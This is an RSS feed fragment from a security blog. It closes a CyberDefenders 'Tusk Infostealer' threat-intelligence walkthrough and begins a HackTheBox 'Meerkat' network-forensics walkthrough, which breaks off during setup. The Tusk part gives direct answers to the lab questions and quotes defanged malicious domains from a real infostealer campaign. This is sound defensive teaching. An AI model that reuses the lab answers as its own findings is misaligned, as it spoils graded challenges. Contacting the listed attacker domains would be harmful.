data-flex-basis=&#34;631px&#34; data-flex-grow=&#34;263&#34; height=&#34;304&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/e26c9a7d6a3c95cef442d62f41a73a91_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Checking the file hash of the sample&lt;/p&gt;&#xA;&lt;p&gt;Right away, we can confirm that our sample has been processed before, and a majority of anti-malware vendors have tagged it as malicious. That&amp;rsquo;s interesting, but to answer &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;re focused on the file size of the sample. You can find this by clicking on the &lt;em&gt;Details&lt;/em&gt; tab and checking the &lt;em&gt;File Size&lt;/em&gt; value under &lt;em&gt;Basic Properties&lt;/em&gt;. We just need to grab the value listed in KB, instead of the bytes value&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;380px&#34; data-flex-grow=&#34;158&#34; height=&#34;504&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/191cdee5dfce4380115c435666153de9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the file size of the sample&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1043px&#34; data-flex-grow=&#34;434&#34; height=&#34;184&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/5dee98d6b7e1d165a83fb3dcdc90d56c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2what-worddo-the-threat-actors-use-in-log-messages-to-describe-their-victims-based-on-the-name-of-an-ancient-hunted-creature&#34;&gt;Question 2: &lt;strong&gt;What word&lt;/strong&gt; do the threat actors use in log messages to describe their victims, based on the name of an ancient hunted creature?&#xA;&lt;/h3&gt;&lt;p&gt;Well, that&amp;rsquo;s an interesting question! Let&amp;rsquo;s dig into &lt;strong&gt;VirusTotal&lt;/strong&gt; and see what else we can find that might allude to an ancient hunted creature.&lt;/p&gt;&#xA;&lt;p&gt;For this, it can be helpful to check out the &lt;em&gt;Community&lt;/em&gt; tab. This is a valuable place to find relevant research where other members share links to additional analysis or notes about a given sample.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1573px&#34; data-flex-grow=&#34;655&#34; height=&#34;122&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/f4df75210eeca51efd2db3a399a86d19_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/523d4eb71af86090d2d8a6766315a027fdec842041d668971bfbbbd1fe826722/community&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/523d4eb71af86090d2d8a6766315a027fdec842041d668971bfbbbd1fe826722/community&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Lucky for us, there&amp;rsquo;s a comment linking to an external post on &lt;a class=&#34;link&#34; href=&#34;https://securelist.com/tusk-infostealers-campaign/113367/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Kaspersky&amp;rsquo;s Securelist&lt;/strong&gt;&lt;/a&gt; blog. Let&amp;rsquo;s check it out:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://securelist.com/tusk-infostealers-campaign/113367/&#34;  title=&#34;https://securelist.com/tusk-infostealers-campaign/113367/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Tusk campaign uses infostealers and clippers for financial gain&lt;/strong&gt;&#xA;_Kaspersky researchers discovered Tusk campaign with ongoing activity that uses Danabot and StealC infostealers and&amp;hellip;_securelist.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://securelist.com/tusk-infostealers-campaign/113367/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After a read-through of the introduction, we&amp;rsquo;ve already stumbled across the answer to &lt;strong&gt;Question 2&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;We identified three active sub-campaigns (at the time of analysis) and 16 inactive sub-campaigns related to this activity. We dubbed it &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Tusk&amp;quot;&#xA;, as the threat actor uses the word &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Mammoth&amp;quot;&#xA;in log messages of initial downloaders — at least in the three active sub-campaigns we analyzed. &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Mammoth&amp;quot;&#xA;is slang used by Russian-speaking threat actors to refer to victims. Mammoths used to be hunted by ancient people and their tusks were harvested and sold.&lt;/p&gt;&#xA;&lt;p&gt;So, the creature is &lt;strong&gt;Mammoth&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;880px&#34; data-flex-grow=&#34;366&#34; height=&#34;218&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/c1d4bdfad8e5473c4a94c75171bd6b0b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-the-threat-actor-set-up-a-malicious-website-to-mimic-a-platform-designed-for-creating-and-managing-decentralized-autonomous-organizations-daos-on-the-multiversx-blockchain-peermeio-what-is-the-name-of-the-malicious-website-the-attacker-created-to-simulate-this-platform&#34;&gt;Question 3: The threat actor set up a malicious website to mimic a platform designed for creating and managing decentralized autonomous organizations (DAOs) on the MultiversX blockchain (peerme.io). What is the name of the malicious website the attacker created to simulate this platform?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s dive deeper into this threat intelligence report and look for any information about the look-alike website spoofing &lt;em&gt;peerme.io&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Inside the report, we can see detailed information about this exact scenario — nice!&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In this campaign the actor simulated peerme.io, a platform for the creation and management of &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Decentralized_autonomous_organization&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;decentralized autonomous organizations (DAOs)&lt;/a&gt; on the MultiversX blockchain. It aims to empower crypto communities and projects by providing tools for governance, funding, and collaboration within a decentralized framework. The malicious website is &lt;strong&gt;tidyme[.]io&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;We just need to re-fang the address by removing the brackets from the top-level domain before submitting the answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;716px&#34; data-flex-grow=&#34;298&#34; height=&#34;268&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/a063b407016658a1544f126e7afe7fd2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-which-cloud-storage-service-did-the-campaign-operators-use-to-host-malware-samples-for-both-macos-and-windows-os-versions&#34;&gt;Question 4: Which cloud storage service did the campaign operators use to host malware samples for both macOS and Windows OS versions?&#xA;&lt;/h3&gt;&lt;p&gt;Reading through the first sub-campaign details, it&amp;rsquo;s identified that &amp;ldquo;this campaign has several malware samples for macOS and Windows, both hosted on Dropbox.&amp;ldquo;This means the attacker is leveraging a trusted, common cloud storage solution to host the initial downloader component of the campaign.&lt;/p&gt;&#xA;&lt;p&gt;As we continue through the analysis, we&amp;rsquo;ll see that this same service is abused in all three sub-campaigns.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;880px&#34; data-flex-grow=&#34;366&#34; height=&#34;218&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/7c6d19471ec848e4f6764509ba1af0b0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-the-malicious-executable-contains-a-configuration-file-that-includes-base64-encoded-urls-and-a-password-used-for-archived-data-decompression-enabling-the-download-of-second-stage-payloads-what-is-the-password-for-decompression-found-in-this-configuration-file&#34;&gt;Question 5: The malicious executable contains a configuration file that includes base64-encoded URLs and a password used for archived data decompression, enabling the download of second-stage payloads. What is the password for decompression found in this configuration file?&#xA;&lt;/h3&gt;&lt;p&gt;Following execution of the initial downloader, there&amp;rsquo;s a background routine that fetches the second-stage payloads. The &lt;em&gt;Downloader routine&lt;/em&gt; section of the first sub-campaign details the configuration file, including the password we need to answer &lt;strong&gt;Question 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;708px&#34; data-flex-grow=&#34;295&#34; height=&#34;271&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/9796dfa50a4976b4da6114452f282dd2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://securelist.com/tusk-infostealers-campaign/113367/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://securelist.com/tusk-infostealers-campaign/113367/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;711px&#34; data-flex-grow=&#34;296&#34; height=&#34;270&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/c76f2c40b310de4d239278cbf09eed1b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-name-of-the-function-responsible-for-retrieving-the-field-archive-from-the-configuration-file&#34;&gt;Question 6: What is the name of the function responsible for retrieving the field archive from the configuration file?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along, we&amp;rsquo;ll find that the report also documents the function we&amp;rsquo;re looking for to answer &lt;strong&gt;Question 6&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The function downloadAndExtractArchive retrieves the field archive from the configuration file, which is an encoded Dropbox link, decodes it and stores the file from Dropbox&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;974px&#34; data-flex-grow=&#34;406&#34; height=&#34;197&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/8c1e68800917cef5bcf5242a3a6d3547_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://securelist.com/tusk-infostealers-campaign/113367/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://securelist.com/tusk-infostealers-campaign/113367/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;868px&#34; data-flex-grow=&#34;361&#34; height=&#34;221&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/66cbb7be7fa57a6c9a69e993f1e98ed9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-in-the-third-sub-campaign-carried-out-by-the-operators-the-attacker-mimicked-an-ai-translator-project-what-is-the-name-of-the-legitimate-translator-and-what-is-the-name-of-the-malicious-translator-created-by-the-attackers&#34;&gt;Question 7: In the third sub-campaign carried out by the operators, the attacker mimicked an AI translator project. What is the name of the legitimate translator, and what is the name of the malicious translator created by the attackers?&#xA;&lt;/h3&gt;&lt;p&gt;Moving on from the first sub-campaign section, we&amp;rsquo;re now going to focus on the third sub-campaign. In the summary of this campaign, it&amp;rsquo;s stated that:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In this campaign, the threat actor was simulating an AI translator project named YOUS. The original website is yous.ai, while the malicious website is voico[.]io:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This is all the information we need. The only trick is that we must again remove the defang brackets from the malicious URL before submitting the answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;774px&#34; data-flex-grow=&#34;322&#34; height=&#34;248&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/b9c4841e82ba1c538abe8be7312afc77_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-the-downloader-is-tasked-with-delivering-additional-malware-samples-to-the-victims-machine-primarily-infostealers-like-stealc-and-danabot-what-are-the-ip-addresses-of-thestealc-c2-serversused-in-the-campaign&#34;&gt;Question 8: The downloader is tasked with delivering additional malware samples to the victim&amp;rsquo;s machine, primarily infostealers like StealC and Danabot. What are the IP addresses of the &lt;strong&gt;StealC C2 servers&lt;/strong&gt; used in the campaign?&#xA;&lt;/h3&gt;&lt;p&gt;The next question has us assessing the reporting looking for tactical indicators of compromise (IoCs) associated with the StealC infostealer. We can locate this specific information in the report under the Network IoCs section where they are labelled StealC C2 server:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;738px&#34; data-flex-grow=&#34;307&#34; height=&#34;260&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/067ee11aca3c531ca59563885014dc36_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://securelist.com/tusk-infostealers-campaign/113367/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://securelist.com/tusk-infostealers-campaign/113367/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Having these indicators readily available is really helpful so that we could hunt for matching activity against the fictional organization in the challenge and confirm the same infrastructure was used.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;771px&#34; data-flex-grow=&#34;321&#34; height=&#34;249&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/a3793b53b1b48f73a7e9c1775b8c6b6f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-what-is-the-address-of-the-ethereum-cryptocurrency-wallet-used-in-this-campaign&#34;&gt;Question 9: What is the address of the Ethereum cryptocurrency wallet used in this campaign?&#xA;&lt;/h3&gt;&lt;p&gt;On to the final question for this threat intelligence challenge: identifying the Ethereum (ETH) cryptocurrency wallet address associated with the campaign.&lt;/p&gt;&#xA;&lt;p&gt;While the wallet addresses are listed in each of the sub-campaign sections, we can also easily access them in the dedicated &lt;em&gt;Cryptocurrency wallet addresses&lt;/em&gt; section of the report:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;747px&#34; data-flex-grow=&#34;311&#34; height=&#34;257&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/08f581d53820bad0867723d49c027955_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://securelist.com/tusk-infostealers-campaign/113367/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://securelist.com/tusk-infostealers-campaign/113367/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This provides us with further tactical information we could use in additional analysis of the impact of the attack. Now that we&amp;rsquo;ve analyzed the report and collected the relevant information, let&amp;rsquo;s wrap up this case!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;897px&#34; data-flex-grow=&#34;373&#34; height=&#34;214&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/a31e4ffc75851accf7a781da9357a379_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;That&amp;rsquo;s a wrap on the &lt;strong&gt;Tusk Infostealer&lt;/strong&gt; challenge and the end of our investigation! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This challenge was a fantastic exercise in threat intelligence analysis, tying together several important concepts: pivoting from a single file hash, leveraging community resources like &lt;em&gt;VirusTotal&lt;/em&gt;, and extracting tactical indicators such as C2 IPs and cryptocurrency wallet addresses. We also explored how attackers abuse trusted services like &lt;em&gt;Dropbox&lt;/em&gt; and spoof legitimate platforms to build credibility.&lt;/p&gt;&#xA;&lt;p&gt;Working through each question, we followed the trail of clues and learned how to pivot between threat intelligence reports and real-world IoCs to uncover the attacker&amp;rsquo;s infrastructure. I chose this challenge because it&amp;rsquo;s perfect for sharpening investigative skills and demonstrates how defenders can use open-source intelligence to map out an entire campaign.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s pretty cool that starting with just a hash, we can reveal how attackers chain techniques — from initial downloaders to second-stage payloads, and ultimately to financial exfiltration through cryptocurrency wallets. Awesome!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt; and &lt;strong&gt;consider following me&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Securelist — &amp;quot; # &amp;ldquo;Tusk: unraveling a complex infostealer campaign&amp;rdquo;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://securelist.com/tusk-infostealers-campaign/113367/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://securelist.com/tusk-infostealers-campaign/113367/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Sample:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/523d4eb71af86090d2d8a6766315a027fdec842041d668971bfbbbd1fe826722&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/523d4eb71af86090d2d8a6766315a027fdec842041d668971bfbbbd1fe826722&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>HackTheBox  — Meerkat Sherlock Walkthrough</title>
            <link>https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/</link>
            <pubDate>Mon, 01 Dec 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/69f67d90ab4853aae81ff12ddc8041f8_MD5.png&#34; alt=&#34;Featured image of post HackTheBox  — Meerkat Sherlock Walkthrough&#34; /&gt;&lt;h3 id=&#34;hackthebox--meerkat--sherlock-walkthrough&#34;&gt;HackTheBox | Meerkat | Sherlock Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;network-packet-forensics-investigating-credential-stuffing-and-persistence-with-zui-wireshark--networkminer&#34;&gt;Network Packet Forensics: Investigating Credential Stuffing and Persistence with Zui, Wireshark &amp;amp; NetworkMiner.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;69f67d90ab4853aae81ff12ddc8041f8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;320&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/69f67d90ab4853aae81ff12ddc8041f8_MD5.png&#34; width=&#34;320&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/552/play&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/552/play&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome back to another weekly walkthrough! If you’ve stumbled across this blog while searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/552&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Meerkat&lt;/strong&gt;&lt;/a&gt; Sherlock challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt;, you’re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;This is the fifth challenge in the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/tracks/Intro-to-Blue-Team&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Intro to Blue Team&lt;/em&gt;&lt;/a&gt; track, but you can jump in at any point. If you’re following along or you’re a completionist, check out my write-up of the previous free challenge — &lt;strong&gt;Unit42&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/&#34; &gt;&lt;strong&gt;HackTheBox | Unit42 | Sherlock Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This challenge leans heavily into network forensics using a real-world inspired narrative. It’s up to us to piece together what happened using only the provided network packet capture (PCAP) file. To analyze this file, we’ll rely on three powerful tools:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Zui&lt;/strong&gt; (&lt;em&gt;formerly Brim&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;NetworkMiner&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Using a broad set of tools for different purposes is a great way to go hands-on with multiple utilities and compare their strengths and weaknesses as they apply to identifying artifacts.&lt;/p&gt;&#xA;&lt;p&gt;So, if you’re new to network forensics or just want to sharpen your analysis skills, this is a fantastic challenge to dive into. Let’s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;As a fast-growing startup, Forela has been utilising a business management platform. Unfortunately, our documentation is scarce, and our administrators aren’t the most security aware. As our new security provider we’d like you to have a look at some PCAP and log data we have exported to confirm if we have (or have not) been compromised.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;strong&gt;Hack the Box&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; for this challenge:&lt;/p&gt;&#xA;&lt;p&gt;“&lt;em&gt;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).&lt;/em&gt;”&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you’d like to set up your own environment, please follow the directions provided directly by 